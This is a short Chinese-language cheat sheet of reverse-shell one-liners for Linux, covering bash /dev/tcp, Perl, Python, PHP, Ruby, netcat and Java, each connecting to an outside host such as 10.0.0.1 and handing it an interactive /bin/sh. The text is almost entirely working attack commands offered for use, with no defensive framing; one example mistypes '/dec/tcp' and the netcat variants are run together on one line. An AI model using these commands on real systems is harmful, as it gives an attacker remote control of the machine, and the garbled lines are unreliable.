Linux
Step1 Linux反弹bash shell
/dev/tcp不是磁盘里的文件,而是bash的一个功能
bash -i >& /dev/tcp/HOST/PORT 0>&1
可能某些版本Linux不支持
e.g:
bash -i >& /dec/tcp/10.0.0.1/8080 0>&1
Step2 利用监听端口收发数据
perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S");exec("/bin/sh -i");};'
python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc版本:
nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 10.0.0.1 1234 >/tmp/f nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java版本
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
